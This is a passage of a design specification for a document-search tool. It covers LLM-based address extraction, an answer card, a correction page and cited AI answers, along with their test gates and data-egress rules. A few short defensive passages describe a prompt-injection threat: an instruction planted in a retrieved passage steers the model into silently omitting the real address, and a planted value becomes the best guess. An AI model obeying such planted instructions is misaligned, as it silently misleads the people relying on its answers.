3922 deterministic, and never the provider's return order or a map's.
39235. The occurrence must **begin and end on a word boundary** and must **not
3924 lie inside a span §8.8's recognisers found** — a street name inside an
3925 email address is not an address.
39266. The candidate is now the immutable coordinate **(passage, start byte,
3927 end byte)**. The span displayed is sliced from the document at it; the
3928 label is derived by §8.8's five rules at `start`; the citation is that
3929 passage. **The model's own string is discarded** — its only role was to
3930 be found.
3931
3932**Identity is the byte-exact span.** An address has no canonical form, so
3933two spellings are two candidates; the same bytes in two passages are one,
3934cited to the better-ranked passage, as §8.8 does.
3935
3936**Cap, collision and over-long labels then apply to the accepted
3937proposals**, per §8.8, with the same results: four accepted addresses
3938render nothing, a colliding citation line renders nothing, an over-long
3939label silences the kind.
3940
3941#### What does not survive, stated rather than implied
3942
3943Draft 1 said every §8.8 guarantee survives. Three do not, and a reader
3944of a model row has to be told:
3945
3946- **"Never picks" does not hold.** §8.8 scans every recognised candidate
3947 in its result set; this section sees only what the model chose to
3948 return. If the passages hold four addresses and the model returns one,
3949 every check passes and the box shows one address as though it were the
3950 only one. **That omission is undetectable from inside memoria.** The
3951 exhaustive contract and the truncation refusal reduce it; nothing
3952 removes it.
3953- **The cap and collision rules cannot fire on what was never returned.**
3954 An omitted fourth address means a box of three where §8.8 would have
3955 shown none.
3956- **§8.8's poisoning argument weakens.** A planted second phone number
3957 makes a deterministic box show both or vanish — **except on a page over
3958 the cap where the planted label alone carries the reader's word**, which
3959 §8.8's narrowing (2026-09-29) turns into a single row with a line
3960 counting the others. A planted instruction in
3961 a passage can make the model omit the real address instead — the attack
3962 §8.8 says degrades into a visible contradiction degrades here into a
3963 silent omission.
3964
3965**So a model row never inherits the deterministic layer's claim.** It is
3966marked 🤖 and names **both the provider and the model** — "TensorX ·
3967deepseek/deepseek-v4-flash-0731" — and is visually distinct from a row a
3968checksum vouched for. Both, because decision 4 names the *provider*: a
3969row naming only the model names DeepSeek's weights and never the company
3970that received the passages. (Draft 2 said "names the model" while citing
3971the requirement to name the provider; a review caught the substitution.) A reader must be able to tell "validated" from "a model
3972pointed here, and the text really is in the document" at a glance.
3973
3974**What the checks do guarantee, narrowly:** every accepted value is a
3975byte-exact span of a passage that passed §4.1 in this request and was
3976sent; its label is the document's; its citation opens on it. **Its
3977classification, completeness and relevance are the model's judgement.**
3978
3979#### Model and tier
3980
3981`model.cheap` (§8.2, §8.3 — `deepseek/deepseek-v4-flash-0731` at the time
3982of writing) **is the chosen initial tier, not a consequence**. Paul asked
3983for "best value models"; extraction from eight passages is the cheap
3984tier's work under §8.2. A better model would extract better, and draft 1's
3985claim that a string-checked task "does not improve with a better model"
3986was wrong. Re-measure against labelled cases before treating the tier as
3987settled.
3988
3989**Deadline: 800 ms**, §6.5's sibling deadline reused. The call rides the
3990request's context, so an abandoned keystroke on the fragment route cancels
3991it. Past the deadline, or on any provider error, the box renders without
3992model rows and the page is otherwise unchanged. **Nothing from the request
3993or the response is logged** — status and a fixed string only (gates 4, 31).
3994
3995#### Four surfaces the first build missed
3996
3997Found by the final pre-merge review (Codex GPT-6-Astra, 2026-09-27), each
3998reproduced before it was fixed, and each a place content could leave or a
3999claim could be false **outside** the path the section above describes:
4000
4001- **Go's own transport logger.** With keep-alives on, bytes a provider
4002 sends on an idle pooled connection are reported by `net/http` with the
4003 standard library's `log.Printf`, quoting them — past every sanitised
4004 error path. The client disables keep-alives; a fresh handshake per call
4005 is the cost, inside the deadline.
4006- **The footer on every page.** It said "no document ever leaves this
4007 instance" while a search had just sent passages. It now states the
4008 switch: with AI on it names TensorX and the trigger; with AI off it
4009 makes the strong claim, which is then true. A gate walks every declared
4010 GET route and checks each footer at whatever status it renders; a route
4011 that renders no footer must be on a list with its reason, or the walk
4012 fails, and each listed reason was verified rather than assumed. The
4013 pages that exist only when Home is configured are checked by name
4014 through the Home fixture — eight of them, including four `/auth/`
4015 failure pages that render the footer at 400. That is the coverage; it
4016 is not "every page in every configuration", and a new Home page has to
4017 be added there by hand. (The first two versions of this gate missed,
4018 in turn, every non-200 page and then the four `/auth/` failure pages —
4019 each found by review.)
4020- **Processing time.** The deadline covered the call and not the work on
4021 its response; a legal-sized response of repeated proposals took 6.8 s to
4022 validate. One deadline now covers both, identical proposals are
4023 validated once, and the recognisers run once per passage.
4024- **Native search.** `POST /api/native/search` built the box — so called
4025 the model — and its response has no field for facts: egress for an
4026 answer the client never received. It now searches without the box, and
4027 moves back when the native client can show attributed facts.
4028
4029#### Injection
4030
4031§8.5 is unchanged and its mitigation is the same partial one, with the
4032omission case above added to it. **The checks defend against invented
4033bytes; they defend against neither the corpus lying nor the model being
4034steered into silence.**
4035
4036#### What "that make sense" leaves open, and it is Paul's
4037
4038Which metadata is worth a query-time model call. Postal address is ruled
4039in. Opening hours, a person's role, an effective date, a registration
4040number in a format memoria does not know are plausible and unruled. **The
4041proposed test** is "is the answer a verbatim span somebody would want
4042cited" — anything needing summary is an answer, not metadata, and §8.2
4043owns answers. §13 records it.
4044
4045**And the deterministic half of Address is not built yet, which is the
4046next step Paul's rule asks for.** A validated eircode certifies the
4047address block it ends; extracting that block deterministically would serve
4048most Irish addresses with no model at all. §12 carries it.
4049
4050#### Gate
4051
4052**39. The model half sends only what it may, accepts only what it can
4053locate, and never touches a validator-backed kind** (§8.9). Against a stub
4054provider that records every request body and returns scripted responses.
4055**Every case asserts on the recorded requests as well as on the page**,
4056because draft 1's version could not see an egress that had already
4057happened by the time the box rendered nothing.
4058
4059- **Presence.** A scripted span that is in a sent passage renders, as the
4060 full tuple `(span, title, trail, label, DocumentID, Ordinal)`, marked 🤖
4061 with the model named — and the recorded request contains exactly the
4062 top eight ruled passages.
4063- **A span in no passage** → no row; the stub confirms the response was
4064 delivered, so "no row" is a refusal and not a failed call.
4065- **A span in an authorised result ranked ninth**, which was never sent →
4066 no row. A check run against all authorised results rather than the sent
4067 set passes every other fixture.
4068- **A withheld document**, with a visible control in the same search: the
4069 recorded request contains the visible passage and **not** the withheld
4070 one, and a span present only in the withheld one renders nothing.
4071- **The same text in a visible and a withheld passage** → one row, cited
4072 to the visible passage, every tuple field checked.
4073- **Two occurrences in one passage with different labels** → the first by
4074 byte offset, both label and citation.
4075- **Normalisation refusals:** NBSP, curly quotes, a flattened line break —
4076 each returned in the "wrong" form → no row.
4077- **Short and embedded spans:** `Dublin`, the empty string, and a
4078 street-name fragment inside a recognised email → no row.
4079- **A truncated response** → no model rows at all.
4080- **Validator-backed kinds never reach the provider**, counted at the stub
4081 by purpose: zero valid candidates, candidates suppressed by the cap, by
4082 a collision, by an over-long label, and a mixed `phone number and postal
4083 address` query — which must send exactly one request, for the address.
4084- **AI off** → zero requests for every fixture above; **with a presence
4085 half**, the same query with AI on does send one.
4086- **A provider error and a timeout** → the page renders without model rows,
4087 and nothing from either is in the log.
4088- **Four addresses in the passages, one returned** → one row renders. This
4089 is the undetectable omission, asserted as the documented behaviour so
4090 that it is a known limit and not a surprise; the day something can detect
4091 it, this case goes red on purpose.
4092
4093Draft 1 listed "render the model's string instead of the source slice" as
4094a mutation this gate catches. **It cannot, and it does not matter:** for an
4095exact match the bytes are identical. What matters is the coordinate — which
4096occurrence, which passage, which citation — and the tuple assertions above
4097are what see a wrong one.
4098
4099---
4100
4101### 8.10 The answer card, the best guess, and corrections
4102
4103**Paul, 2026-10-26.** Three things, in his words:
4104- the box should be *"a card at the top that says [office phone number /
4105 +353 (0)1 547 7854] with the number in big type (like Google used to
4106 do)"*;
4107- it should have *"a little grey bottom right 'Is this wrong? Report'"*,
4108 so he can say why it got it wrong, *"hopefully to improve results
4109 later"*;
4110- and, of `?explain=facts`, *"kind of useless. It should attempt a best
4111 guess, and the little training link should maybe show some other
4112 examples allowing me to correct it."*
4113
4114He approved this plan ("Looking good. Proceed."): an answer card; a best
4115guess, clearly marked, when the rules show nothing; and a correction page
4116that lists the other candidates.
4117
4118#### The answer card
4119
4120§8.8's box keeps every rule it has. What changes is how it looks:
4121
4122- **One row:** the document's label, small and muted, on top; the value
4123 in large type (2rem, nowrap for phone/eircode/VAT, as now); the
4124 citation below. A model row keeps its 🤖 marker and names.
4125- **Two or three rows:** each row is the label, the value at 1.25rem,
4126 and its citation.
4127- **The narrowing line** reads *"Chosen because its label says
4128 “office”. 3 other phone numbers found."*
4129- **Bottom right, small and grey:** *"Is this wrong?"*, which links to the
4130 correction page for this query and kind (below).
4131
4132Every character is still the document's. Nothing on the card is composed
4133except the fixed copy around it.
4134
4135#### The best guess
4136
4137**When it appears:** a deterministic kind the query named has candidates
4138(after the §4.1 ruling), and §8.8's rules render nothing for it: over
4139the cap without exactly one match, a collision, or rule 4. Never when the
4140box renders that kind, and never for a model kind (§8.9 has its own
4141rules).
4142
4143**The safety refusals stay; only ambiguity is guessed through.** §8.8
4144refuses for two different reasons, and the guess relaxes only one:
4145- **Rule 4, an over-long label, is a safety refusal.** The document
4146 wrote words about a value that cannot be shown, and they may be a
4147 warning. **If any candidate of the kind is `NoBox`, there is no
4148 guess.** That includes a label line beyond the lookback.
4149- **A collision is a safety refusal for the colliding values.** Two
4150 values under an identical citation line cannot be told apart by the
4151 reader. **If the guess's citation line is shared with another
4152 candidate, there is no guess.**
4153- **The cap, and narrowing that leaves no single match, are
4154 ambiguity,** and that is what the guess is for.
4155
4156**How it chooses, deterministically and from the ruled candidates only:**
41571. Primary: how many distinct qualifiers appear as whole tokens in the
4158 candidate's own label (rule 2). A fallback label scores zero here.
41592. Secondary: how many distinct qualifiers appear in its title and
4160 trail, combined and counted once each.
41613. Ties go to first-seen order: rank order across passages, then
4162 document order within a passage.
4163
4164A query with no qualifiers therefore guesses the first-seen candidate.
4165
4166**How it shows:** the card, headed *"Best guess"*, in a quieter
4167treatment than an answer (no large-type emphasis on the border, a
4168"guess" chip). Underneath: *"1 of 7 phone numbers found."* *"Is this
4169wrong?"* is shown more prominently than on an answer.
4170
4171**What this gives up, stated:** §8.8's poisoning argument does not hold
4172for the guess. A planted value can be the guess. Marking it as a guess
4173and listing the others one click away is the mitigation; it is not a
4174fix.
4175
4176#### The correction page
4177
4178`GET /facts/correct?q=<query>` runs a ruled search for the person
4179asking, **on a deterministic-only path** (`Store.SearchForCorrection`):
4180whole words, the §4.1 ruling and §8.8's candidates, and **never** §8.9's
4181model step, whatever kinds the query names. A mixed query such as
4182"office phone and postal address" makes zero extractor calls on the
4183correction page and on its POST. For each **deterministic** kind the query named, it lists that
4184kind's candidates as the rules saw them:
4185- value;
4186- the document's label, or "no label";
4187- where it came from;
4188- which one the card showed, marked "shown".
4189
4190The person picks one, or *"None of these"*, adds an optional note, and
4191sends. Without a script it is an ordinary form. **Model kinds (§8.9) get
4192no correction link and no correction page:** an address has no canonical
4193form, a rerun can return different proposals, and a rerun would send
4194passages out again. That is out of scope until it has its own design.
4195
4196**A choice is an opaque handle, never a value.** Each radio button's
4197value is a keyed fingerprint (a new purpose) over the asker's address,
4198the query, the kind, and the candidate's coordinate: document id,
4199document revision, chunk id, and span start and end. No canonical value
4200and no span reaches the form; the canonical form stays match-only (gate
420136). `POST /facts/correct` (same origin and CSRF, as every POST)
4202**re-runs the same deterministic ruled search**, recomputes the handles for that person's
4203current candidates, and accepts the choice only if its handle is among
4204them. A document revised in between changes the handle, so the choice is
4205refused with *"That page has changed — please look again"* and nothing is
4206stored. **The rerun is fresh authorization.** A document visible when
4207the page was shown but withheld by the time of the POST is not among the
4208candidates, so its handle is refused, and nothing is stored.
4209
4210**The "shown" state is recorded at POST time from the rerun, and says
4211so.** The rerun is what the page would show now; the stored report
4212records it as "shown when you reported". A rerun cannot recover what an
4213earlier page showed, and the spec does not pretend it can.
4214
4215**What is stored: coordinates and the person's own words, never passage
4216text.** A `fact_reports` row (additive migration):
4217- `reporter_print`: a keyed fingerprint of the reporter's address;
4218- `sealed_report`: a new seal purpose, holding JSON of the query, the
4219 kind, the qualifiers, the note, and the shown and chosen candidates (or
4220 "nothing shown" / "none of these"). Each candidate is a coordinate
4221 only: document id, revision, chunk id, span start and end. Also the
4222 coordinates of every candidate listed, so a later reader of the data
4223 knows what the choice was among;
4224- `created_at`.
4225
4226**The sealed payload is coordinates and the person's own words, and
4227nothing else:** `query`, `kind`, `qualifiers`, `note`, `shown`, `chosen`,
4228`listed`, where each candidate is `{document_id, revision, chunk_id,
4229ordinal, start, end}` (the ordinal is the passage number the report's
4230link goes to). There is no span, no label and no title. Gate 42 decrypts
4231and checks this, because a byte grep cannot see what is sealed.
4232
4233**Because no passage text is copied, a report needs no deletion
4234coupling,** and §5's deletion, re-ingest, tombstone and restore paths are
4235untouched. A deleted, revised or withheld document leaves a coordinate
4236that no longer resolves for that person, which is all it ever was. The
4237person can delete their own reports.
4238
4239**Deleting a report is a memoria-owned deletion,** so under §7.4 it goes
4240through the durable tombstone log, keyed by report id, and a restore
4241replays it like a document's. **That log is not built yet. Today
4242neither a deleted document nor a deleted report survives a restore from
4243an older backup.** Reports inherit an app-wide gap; they do not open a
4244new one. Gate 10 covers both once the log exists, and §13 carries it.
4245
4246**Who sees a report: only the person who made it, and never the passage
4247text through it.** `GET /reports` lists the asker's own reports, newest
4248first:
4249- the query, the note, the kind, and when;
4250- "shown" and "picked" as links to `/documents/{id}#p{n}`.
4251
4252Each link goes through that page's own §4.1 check when followed, so a
4253person who has lost access to a document sees nothing from it, through a
4254report or otherwise. A coordinate whose revision no longer matches says
4255"changed since". **That check is on the server, when `/reports` renders:**
4256it compares each coordinate's stored revision with the document's current
4257one. The link itself is a plain `/documents/{id}#p{n}` and carries no
4258revision. Each report has a Delete button, which deletes only the
4259asker's own: another person's report id is a 404.
4260
4261**Nothing is logged**, as everywhere: the query and the note are
4262content.
4263
4264**Using corrections is the next step and is not built here.** The
4265obvious first use is to put the person's own earlier choice first: the
4266same query and kind, with the chosen coordinate still among their ruled
4267candidates. That needs its own ruling on whether a correction should
4268ever change what the box says.
4269
4270#### `?explain=facts` stays, unlinked
4271
4272It is a debugging aid for the person building memoria, and it is now
4273named as that. The correction page replaces it as the thing a reader
4274uses.
4275
4276### 8.11 The AI answer, when nothing checked answers (Paul, 2026-10-26)
4277
4278**The ruling.** Paul asked *"Is it only for phone numbers? It should
4279really work for any kind of data, no?"*, with *"who is Paul Campbell"*
4280as the example he expected answered (his role, CEO). Asked whether
4281memoria should answer any question with an AI-written answer that cites
4282its sources, he said *"If there's no candidate answer, it would be cool
4283to try an AI answer"*. Asked whether that should be for every search or
4284only questions, he said *"I think it's worth trying"*. This section
4285reads that as **every search, when nothing checked answers it**. That
4286reading is the author's; it is the broader of the two, and §13 carries
4287it for confirmation.
4288
4289This is §8.4's 🤖 paragraph, built for the first time, with §8.2's router
4290deferred: **one tier, `model.cheap` (`deepseek/deepseek-v4-flash-0731`),
4291for every answer**, until there is traffic to route. §8.2's table stands
4292as the design; this is its first slice.
4293
4294#### When it runs
4295
4296All of these must hold:
4297- AI is on;
4298- the search is **settled**: never on a keystroke (`typing=1`). §8.9's
4299 deferral mechanism carries it;
4300- the ruled results are non-empty;
4301- **§8.8–§8.10's card has nothing for the query**: no answer row and no
4302 best guess. A checked value or a guess is a candidate answer, and Paul
4303 said "if there's no candidate answer";
4304- **the query does not ask for a computation.** Decision 10 and §8.7
4305 still hold: memoria never does arithmetic, and a model citing the
4306 operands of an average it invented would pass every check below. Until
4307 §8.7's Sheets path exists, a query asking for an average, total, sum,
4308 count, percentage, growth, difference, minimum or maximum
4309 (`query.AsksForComputation`, stated as incomplete) gets no AI answer.
4310 Instead the slot says *"🤖 Memoria doesn't ask the AI to calculate
4311 totals or averages."*
4312
4313#### How the page gets it, without waiting for it
4314
4315A page with a script never blocks on the model. (The scriptless "Ask the
4316AI" link below is an explicit request, and that page does wait, up to
4317the deadline.) When an answer could run, the results carry an empty
4318`[rst-answer]` slot. `search.js` then requests
4319`GET /answer?q=` and puts the fragment in the slot. A scriptless page
4320shows a link instead, *"Ask the AI about this"*, to `/?q=…&ai=1`, which
4321renders the answer inline under the same rules.
4322
4323**`GET /answer` re-runs the ruled search itself** and takes nothing but
4324the query from the request: §8.4's invariant. The passages it sends are
4325the ones §4.1 allowed in that request. **It is the settled search, §8.9
4326included**, so an address the model found is a card here exactly as on
4327the page. The first build used the correction path's search, which skips
4328§8.9, and "office address" showed an address card *and* sent passages for
4329an answer (Astra, 2026-10-27). The cost is that an address query's
4330`/answer` repeats §8.9's call; see Cost below.
4331
4332**The answer carries its own list, so it never depends on the list
4333below it.** Each citation is a link with its document's title, to a
4334passage from `/answer`'s own ruled search, so §8.4's "never without its
4335list" is met inside the fragment. If that search raised withholding
4336notices, the fragment shows them above the answer. **If it withheld every
4337result**, nothing is sent and the fragment is the notices and *"No AI
4338answer: none of these results can be shown to you."*, never a 204: a 204
4339removes the slot, and the notices with it. If it found the
4340query no longer eligible (a card now answers it, or nothing came back),
4341it answers 204 and `search.js` removes the slot. A new keystroke aborts
4342an answer in flight, and a response for a query the box has moved on
4343from is dropped rather than painted.
4344
4345#### What is sent, and what comes back
4346
4347- **Sent:** the top `ModelPassages` (8) ruled passages, each `{index,
4348 text}`, and the query. Nothing else: no titles, paths or ids. This is
4349 §8.9's payload with the question added.
4350- **Asked for:** strict JSON, `{"answer": [{"text": "...", "cite": [n,
4351 ...]}]}`, at most four sentences. **Enforced, not just asked:** more
4352 than four is refused whole; a blank sentence is dropped; a sentence over
4353 400 characters is dropped; the body is capped as §8.9's is. Every sentence cites the passages it
4354 rests on. If the passages do not answer the question, the model
4355 returns `{"answer": []}`.
4356- **Accepted:** §8.9's strict decoder rules — no duplicate keys, no
4357 unknown fields, no trailing content, a clean `stop`, a size cap
4358 detected rather than applied. A sentence citing nothing, or citing **any**
4359 index that was not sent, is dropped whole before render (§8.4), not
4360 trimmed to its valid citations; a repeated index is shown once. A
4361 `null` citation, or a permitted key in the wrong place, is malformed. **The valid
4362 sentences beside it are kept. Text is
4363 rendered as escaped plain text, never as markdown or HTML, so a remote
4364 image or link cannot load (§8.5).
4365- **Deadline: 8 s.** The page is not waiting; the slot is. Past it, the
4366 slot says the answer took too long.
4367
4368#### What it shows
4369
4370A 🤖 paragraph in the card's place, above the results, marked *"AI
4371answer · TensorX · deepseek/deepseek-v4-flash-0731"* (decision 4). Each
4372sentence ends with its citations as links to `/documents/{id}#p{n}`
4373(passage numbers the reader can follow). Three other states, each said
4374in words rather than left empty, so none can be mistaken for AI being
4375off:
4376- *"No AI answer in these results."* — the model returned an empty
4377 answer;
4378- *"The AI's answer cited nothing in these results, so it is not
4379 shown."* — every sentence was dropped;
4380- *"The AI didn't answer in time."* / *"The AI answer failed."* — the
4381 deadline, or any error.
4382
4383#### What it does not do
4384
4385- It stores nothing, and the paragraph is disposable (§8.4).
4386- It logs no content: status and a fixed string only (gate 31).
4387- It never replaces a checked answer or a guess, and it never calls the
4388 model on a keystroke.
4389- There is no "Is this wrong?" on an AI answer yet. Corrections hold
4390 coordinates of deterministic candidates (§8.10), and an AI sentence is
4391 not one. That is the next step if Paul wants it.
4392
4393#### Egress, said where the reader looks
4394
4395This is §8.3's second sender, built. The footer changes from "a search
4396that asks for a postal address sends…" to:
4397
4398> AI is on: once you stop typing, a search with no checked answer sends
4399> up to eight of its passages and your query to TensorX for an AI answer,
4400> and a search for a postal address sends up to eight passages to find
4401> it. No other document leaves this instance.
4402
4403Both senders are named because they trigger separately: "office phone
4404and postal address" can show a checked phone number **and** send
4405passages for the address (§8.9), with no AI answer. The README's first
4406paragraph says the same.
4407
4408**Cost (§8.6, amended).** An answer is a cheap-tier call of about 5k
4409tokens in and at most a few hundred out, ~$0.0014. It is attempted
4410automatically on every settled search with no checked answer, so the
4411count is settled searches, not questions. Enter or a reload is another
4412attempt. A query that asks for an address and finds none makes three
4413calls: §8.9's on the page, §8.9's again in `/answer`'s own search, and the
4414answer. At §8.6's 2,200 queries a month that is still single-digit
4415dollars.
4416
4417#### Amendments, 2026-10-27 (Paul, after using it live)
4418
4419Paul: *"the answers seem pretty good so far"*, then four changes, each
4420his ruling:
4421
4422**1. Say "AI", not the provider.** *"Don't say 'asking TensorX' or show
4423the model."* The slot says *"🤖 Asking AI…"* and the answer is headed
4424*"🤖 AI answer"*. **This narrows decision 4 ("named on every answer") for
4425the AI answer, by Paul.** The provider and model are still on the
4426answer, in the heading's `title` (hover, and read by assistive
4427technology), and the footer still names TensorX on every page. §8.9's
4428address rows are unchanged: they still name TensorX and the model,
4429because Paul's words were about AI answers.
4430
4431**2. The AI formats its answer** (Paul chose this over a fixed lead-and-
4432points layout). The model may use exactly two things, and nothing else
4433renders:
4434- `**bold**`, within one block, in balanced pairs; an unbalanced `**`
4435 is shown as typed;
4436- a block whose text starts with `- ` is a bullet; consecutive bullets
4437 are one list.
4438
4439Every other character is escaped text. A markdown link, image, heading,
4440code span or raw HTML is shown literally, never rendered (§8.5). **There
4441is no precedence to resolve, because bold is the only construct:** the
4442block is escaped first, then balanced `**` pairs become bold wherever
4443they fall, so `` `**x**` `` renders as a backtick, bold *x*, a backtick,
4444and `[**x**](url)` as `[`, bold *x*, `](url)` — the link syntax is
4445characters, never a link. Strict decoding (§8.11's decoder) and the
4446citation rules are unchanged: a block citing nothing, or any index that
4447was not sent, is still dropped whole. The
4448response shape is unchanged — `{"answer": [{"text", "cite"}]}` — but an
4449item is now a **block** (a paragraph or a bullet), and the bound is **8
4450blocks**, each at most 400 characters. Citations follow each block.
4451
4452**3. 👍 / 👎, recorded for review.** Every shown answer carries *"Was
4453this right? 👍 👎"*. Nothing learns from them yet, and the page says
4454nothing that suggests it does.
4455
4456**What is stored follows §8.10 exactly: coordinates and the person's own
4457words, never passage text — and an AI answer is passage text.** Its
4458sentences are made of the passages it was sent, so storing them would be
4459the second copy of content §8.10 refused: it would outlive the
4460document's deletion, and it would show a person who has since lost
4461access to a document what that document said, through a report. So the
4462answer's wording is not kept. What is kept is enough to find it again:
4463- the query, the verdict (`up` / `down`), and the person's note;
4464- the provider and model that produced the answer;
4465- the coordinate of every passage sent — `{document_id, revision,
4466 chunk_id, ordinal}` — in the order sent, and which blocks cited which
4467 of them (indexes only);
4468- when.
4469
4470- The fragment carries a **sealed handle** (`seal.PurposeFeedbackHandle`,
4471 `feedback.handle`) holding the asker, the query and those coordinates
4472 and cite indexes as shown. The form posts the handle and a